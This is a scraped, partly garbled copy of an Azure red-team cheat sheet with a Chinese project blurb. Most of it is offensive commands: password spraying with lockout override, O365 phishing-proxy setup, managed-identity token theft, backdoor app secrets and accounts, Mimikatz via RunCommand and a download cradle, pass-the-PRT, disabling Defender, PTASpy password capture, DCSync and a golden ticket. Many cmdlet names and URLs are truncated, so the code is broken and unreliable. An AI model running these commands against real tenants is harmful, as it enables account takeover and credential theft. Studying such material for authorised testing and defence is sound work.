Azure-Red-Team - Azure Security Resources and Notes

项目说明

Microsoft Cloud Red Team

Disclaimer

The original source of this repository started from the Swisskyrepo. Over time I ha added other content in from my own Cloud Penetration Testing experience or other publicly a sources, blogs...etc. Some of the content in here has not been updated in several years. Similar content may appear in training courses. Under no circumstances has this repository reproduced the content of paid training.

Original Repo Sources

(New Location):

Azure Training Courses

Altered Security: Attack & Defend Azure

Free Training

Webcast: OPSEC Fundamentals for Remote Red Teams

EDITED EDITION — Getting Started in Pentesting The Cloud–Azure | Beau Bullock | 1-Hour

Workshop:Breaching The Cloud Perimeter w/ Beau Bullock

Azure Rules of Engagement

Microsoft Penetration Testing

Penetration Testing Rules of Engagement

Current Bug Bounties

Commando VM

Repo Location: Commando VM

Post Commando Tools to install: Connect to all Microsoft 365 services in a single PowerShell window

Summary

* Azure Recon Tools
* Enumeration
* Enumerate valid emails
* Enumerate Azure Subdomains
* Enumerate tenant with Azure AD Powershell
* Enumerate tenant with Az Powershell
* Enumerate tenant with az cli
* Enumerate manually
* Enumeration methodology
* Phishing with E
* Illicit Consent Grant
* Token from Managed Identity
* Azure API
* Azure API
* Get Tokens
* Use Tokens
* Refresh Tokens
* Stealing Tokens
* Stealing tokens from az cli
* Stealing tokens from az powershell
* Add Credentials to All Enterprise Applications
* Spawn SSH for Azure Web App
* Azure Storage Blob
* Enumerate blobs
* SAS URL
* List and download blobs
* Runbook Automation
* Create a Runbook
* Persistence accounts
* Machine RunCommand
* KeyVault Secrets
* Pass The Certificate
* Pass The PRT
* Intunes Administration
* Dynamic Group Membership
* Administrative Unit
* Deployment Template
* Application Proxy
* Conditional Access
* Azure AD
* Azure AD Directory
* Password Spray
* Convert GUID to SID
* Azure AD Connect
* Azure AD Connect - Password extraction
* Azure AD Connect - MSOL Account's password and DCSync
* Azure AD Connect - Seamless Single Sign On Sil
* References

Azure Recon Tools

* ROADTool

* StormSpotter

* Azure Hound

* List of Microsoft portals:
* Azucar : Azucar automatically gathers a of configuration data and analyses all data relating to a particular subscription in order to determine security risks.

* Azurite Explorer and Azurite : Enumeration and reconnaissance acti in the Microsoft Azure Cloud.

* MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping

* SkyArk - Discover the most pri users in the scanned Azure en - including the Azure Shadow Admins.
Require:
- Read-Only permissions o Directory (Tenant)
- Read-Only permissions o
- Require AZ and AzureAD module or administrator right

powershell
require az module !
$ git clone
$ ipmo .\PowerZure
$ Set-Subscription -Id [idgoeshere]

# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails

# Contributor
$ Execute-Command -OS Windows - -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild - -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKey
$ Get-A, Get- # Download a machine's disk

# Owner
$ Set-Role -Role Contributor -User -Resource Win10

# Administrator
$ Create-Backdoor, Execute-Backdoor
powershell
PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\.txt
admin@<TENANT NAME>.onmicrosoft.com - VALID
root@<TENANT NAME>.onmicrosoft.com - INVALID
test@<TENANT NAME>.onmicrosoft.com - VALID
contact@<TENANT NAME>.onmicrosoft.com - INVALID
powershell
PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> In -UserList C:\Tools\.txt -Password <PASSWORD> -
powershell
PS> . C:\Tools\MicroBurst\Misc\Inains.ps1
PS> Inmains -Base <TENANT NAME> -
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain
powershell
Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = Con "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzureAD -Credential $creds

PS AzureAD> Get-AzureADUser -All $true
PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName
PS AzureAD> Get-AzureADGroup -All $true
PS AzureAD> Get-AzureADDevice
PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
powershell
PS> $passwd = Con "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential ("test@<TENANT NAME>.onmicrosoft.com", $passwd)
PS Az> Connect-AzAccount -Credential $creds

PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault
powershell
PS> az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
PS> az vm list
PS> az vm list --query "[].[name]" -o table
PS> az webapp list
PS> az functionapp list --query "[].[name]" -o table
PS> az storage account list
PS> az keyvault list
powershell

NAME>.onmicrosoft.com&xml=1
powershell

NAME>.onmicrosoft.com/.well-known/openid-configuration
powershell

Check Azure Joined

PS> dsregcmd.exe /status
+----------------------------------------------------------------------+
| Device State |
+----------------------------------------------------------------------+
AzureAdJoined : YES
EnterpriseJoined : NO
DomainJoined : NO
Device Name : jumpvm

Enumerate resources

PS Az> Get-AzResource

Enumerate role assignments

PS Az> Get-AzRoleAssignment -Scope /subscriptions/<SUBSCRIPTION-ID>/resourceGroups/RESEARCH/pro/Microsoft.Compute//<>

Get info on a role

PS Az> Get-AzRoleDefinition -Name " Machine Command Executor"

Get info user

PS AzureAD> Get-AzureADUser -ObjectId <ID>
PS AzureAD> Get-AzureADUser -ObjectId test@<TENANT NAME>.onmicrosoft.com | fl *

List all groups

PS AzureAD> Get-AzureADGroup -All $true

Get members of a group

PS Az> Get-AzADGroup -DisplayName '<GROUP-NAME>'
PS Az> Get-AzADGroupMember -GroupDisplayName '<GROUP-NAME>' | select UserPrincipalName

Get Azure AD information

PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> Get-AADIntLoginInformation -UserName admin@<TENANT NAME>.onmicrosoft.com
PS AADInternals> Get-AADIntTenantID -Domain <TENANT NAME>.onmicrosoft.com # Get Tenant ID
PS AADInternals> Iner -DomainName <DOMAIN> # Get all the information

Check if there is a user logged-in to az cli

PS> az ad signed-in-user show

Check AppID Alternati/Display Name

PS AzureAD> Get-AzureADSer -All $True | ?{$_.AppId -eq "<APP-ID>"} | fl

Get all application objects registered using the current tenant

PS AzureAD> Get-AzureADApplication -All $true

Get all details about an application

PS AzureAD> Get-AzureADApplication -ObjectId <ID> | fl *

List all VM's the user has access to

PS Az> Get-AzVM
PS Az> Get-AzVM | fl

Get all function apps

PS Az> Get-AzFunctionApp

Get all webapps

PS Az> Get-AzWebApp
PS Az> Get-AzWebApp | select-object Name, Type, Hostnames

List all storage accounts

PS Az> Get-AzStorageAccount
PS Az> Get-AzStorageAccount | fl

List all key

PS Az> Get-AzKeyVault
powershell
PS C:\Tools> e -p C:\Tools\e\phishlets
: config domain username.corp
: config ip 10.10.10.10
: phishlets hostname o365 login.username.corp
: phishlets get-hosts o365

Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine

copy certificate and enable the phishing

PS C:\Tools> Copy-Item C:\Users\Username\.e\crt\ca.crt C:\Users\Username\.e\crt\login.username.corp\o365.crt
PS C:\Tools> Copy-Item C:\Users\Username\.e\crt\private.key C:\Users\Username\.e\crt\login.username.corp\o365.key
: phishlets enable o365

get the phishing URL

: lures create o365
: lures get-url 0
powershell
$Token = 'eyJ0eX..'
$URI = '

$URI = '

$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(In ).value

List resources and check for runCommand pri

$URI = '
$URI = '
py
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

print("[+] Management API")
cmd = 'curl "%s?resource= -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])

print("\r\n[+] Graph API")
cmd = 'curl "%s?resource= -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
py
import logging, os
import azure.functions as func

def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Python HTTP trigger function processed a request.')
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource= -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
return func.HttpResponse(val, status_code=200)
powershell

az cli - get tokens

az account get-access-token
az account get-access-token --resource-type aad-graph

or Az

(Get-AzAccessToken -ResourceUrl ).Token

or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT

powershell
PS C:\Tools> $token = 'eyJ0e..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId <ACCOUNT-ID>

# Access Token and Graph Token
PS C:\Tools> $token = 'eyJ0eX..'
PS C:\Tools> $graphaccesstoken = 'eyJ0eX..'
PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
PS C:\Tools> Get-AzResource
# ERROR: 'this.Client.SubscriptionId' cannot be null.
# ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI
powershell
Import-Module C:\Tools\AzureAD\AzureAD.psd1
$AADToken = 'eyJ0…'
Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <ACCOUNT-ID>
powershell
Lantern.exe cookie --deri <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --de <Name> --outpfxfile <Some path>
Lantern.exe token --username <Username> --password <Password>
Lantern.exe token --refreshtoken <RefreshToken>
Lantern.exe de --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password )
powershell
Import-Module .\TokenTactics.psd1
CommandType Name Source
----------- ---- ------- ------
Function Clear-Token 0.0.1 TokenTactics
Function Dump-OWAMailbox 0.0.1 TokenTactics
Function Forge-UserAgent 0.0.1 TokenTactics
Function Get-AzureToken 0.0.1 TokenTactics
Function Get-TenantID 0.0.1 TokenTactics
Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics
Function Parse-JWTtoken 0.0.1 TokenTactics
Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics
Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics
Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics
Function RefreshTo-GraphToken 0.0.1 TokenTactics
Function RefreshTo-MAMToken 0.0.1 TokenTactics
Function RefreshTo-MSGraphToken 0.0.1 TokenTactics
Function RefreshTo-MSManageToken 0.0.1 TokenTactics
Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics
Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics
Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics
Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics
Function RefreshTo-OutlookToken 0.0.1 TokenTactics
Function RefreshTo-SubstrateToken 0.0.1 TokenTactics
powershell
Import-Module Microburst.psm1
Get-AzurePasswords
Get-AzurePasswords - | Out-GridView
powershell

Add secrets

PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -

Use secrets to authenticate as Service Principal

PS > $password = Con '<SECRET/PASSWORD>' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
PS > Connect-AzAccount -Ser -Credential $creds -Tenant '<TenantID>'
powershell
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SER>
powershell
PS > . C:\Tools\MicroBurst\Misc\In.ps1
PS > In -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
powershell
PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
powershell

Check user right for automation

az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects

If the user is not part of an "Automation" group.

Add him to a custom group , e.g: "Automation Admins"

Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -

Get the role of a user on the Automation account

Contributor or higher = Can create and execute Runbooks

Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/pro/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

List hybrid workers

Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Create a Powershell Runbook

PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -

Publish the Runbook

Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -

Start the Runbook

Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -
powershell
$uri = "]%3d"
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
$body = Con -InputObject $AccountInfo
$response = In -Method Post -Uri $uri -Body $body
powershell

Get Public IP of VM : query the network interface

PS AzureAD> Get-Az <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>

Execute Powershell script on the VM

PS AzureAD> In - <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -

Connect

PS C:\Tools> $password = Con '<PASSWORD>' -AsPlainText -Force
PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password)
PS C:\Tools> $sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
PS C:\Tools> Enter-PSSession $sess
powershell

List a VMs

PS C:\> Get-AzureRm | where {$_.PowerState -EQ ""} | select ResourceGroupName,Name
ResourceGroupName Name
----------------- ----
TESTRESOURCES Remote-Test

Execute Powershell script on the VM

PS C:\> In -ResourceGroupName TESTRESOURCES - Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
powershell
Import-module MicroBurst.psm1
In -Script Mimikatz.ps1 - -output Output.txt
powershell

keyvault access token

curl "$IDENTITY_ENDPOINT?resource= -H secret:$IDENTITY_HEADER
curl "$IDENTITY_ENDPOINT?resource= -H secret:$IDENTITY_HEADER

connect

PS> $token = 'eyJ0..'
PS> $key = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -Key $key

query the vault and the secrets

PS Az> Get-AzKeyVault
PS Az> Get-AzKey - ResearchKeyVault
PS Az> Get-AzKey - ResearchKeyVault -Name Reader -AsPlainText
powershell

Run mimikatz to obtain the PRT

PS> iex (New-Object Net.Webclient).downloadstring(")
PS> In -Command '"pri::debug" "sekurlsa::cloudap"'

Copy the PRT and KeyValue

Mimikatz> pri::debug
Mimikatz> token::elevate
Mimikatz> dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect

Copy the Context, ClearKey and Deri

Mimikatz> dpapi::cloudapkd /context:<Context> /deri:<Deri> /Prt:<PRT>
powershell

Generate a JWT

PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
eyJ0eXAiOiJKV1QiL...
powershell
Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √
ps1
Copy-Item -ToSession $jump C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –
Expand-Archi C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert

Require the PRT, TenantID, Context and Deri

& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId <TENANT-ID> --prt <PRT> --userName <Username>@<TENANT NAME>.onmicrosoft.com --hexCtx <HEX-CONTEXT> --hexDeri <HEX-DERI>

PFX saved with the name <Username>@<TENANT NAME>.onmicrosoft.com.pfx and password AzureADCert

ps1
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10

python Main.py --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENANT NAME>.onmicrosoft.com.pfx --
certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add"
powershell
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -
powershell
PS AzureAD> Get-AzureADMSAdministrati -Id <ID>
PS AzureAD> Get-AzureADMSAdministrati -Id <ID>
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
PS C:\Tools> $password = "Password" | Con -AsPlainText -Force
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>@<TENANT NAME>.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -
powershell
PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP

Export

PS Az> SamentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password
powershell

Enumerate application that ha

PS C:\Tools> Get-AzureADApplication | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
PS C:\Tools> Get-AzureADSer -All $true | ?{$_.DisplayName -eq "Finance Management System"}
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
powershell
# AAD Internals - Making your device compliant
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -Sa
# Join the device to Azure AD
Join-AADIntDe -De "SixByFour" -De "Commodore" -OS "C64"
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Sa
# Join the device to Intune
Join-AADIntDe -De "SixByFour"
# Start the call back
Start-AADIntDe -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -De "SixByFour"
powershell
git clone
Import-Module .\MSOLSpray.ps1
In -UserList .\userlist.txt -Password Winter2020
In -UserList .\users.txt -Password d0ntSprayme!

UserList - UserList file filled with usernames one-per-line in the format ""

Password - A single password that will be used to perform the password spray.

OutFile - A file to output valid results to.

Force - Forces the spray to continue and not stop when multiple account lockouts are detected.

URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.

powershell
GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
powershell
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials

Get Token for SYNC account and reset on-prem admin password

PS > $passwd = Con 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –Sa
PS > Get-AADIntUser -UserPrincipalName | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -
powershell
PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
powershell
git clone

DCSync with AD Sync account

powershell
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
powershell
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
`
5. Launch Mozilla Firefox
6. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value
7. Na to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

References

* Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack
* Learn with : Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!
* Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9
* Azure AD Pass The Certificate - Mor - Aug 19, 2020
* Get Access Tokens for Managed Service Identity on Azure App Service
* Bypassing conditional access by faking device compliance - September 06, 2020 -
* CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course
* Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen
* An introduction to penetration testing Azure - Graceful Security
* Running Powershell scripts on Azure VM - Netspi
* Attacking Azure Cloud shell - Netspi
* Maintaining Azure Persistence accounts - Netspi
* Detecting an attacks on acti with Azure - Smartspate
* Azure AD O
* Windows Azure Acti in plain English
* Building Free Acti Lab in Azure - .bilgrami
* Attacking Azure/Azure AD and introducing Powerzure - SpecterOps
* Azure AD connect for RedTeam -
* Azure Pri Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020
* Hunting Azure Admins for Escalation - LEE KAGAN - MARCH 13, 2020
* Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema
* Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020
* AZURE AD INTRODUCTION FOR RED TEAMERS - Written by Aymeric Palhière (bak) - 2020-04-20
* Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter

项目信息

开发语言：PowerShell

Star 数：1784

技术要点

该项目属于红蓝攻防方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Azure Security Resources and Notes展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。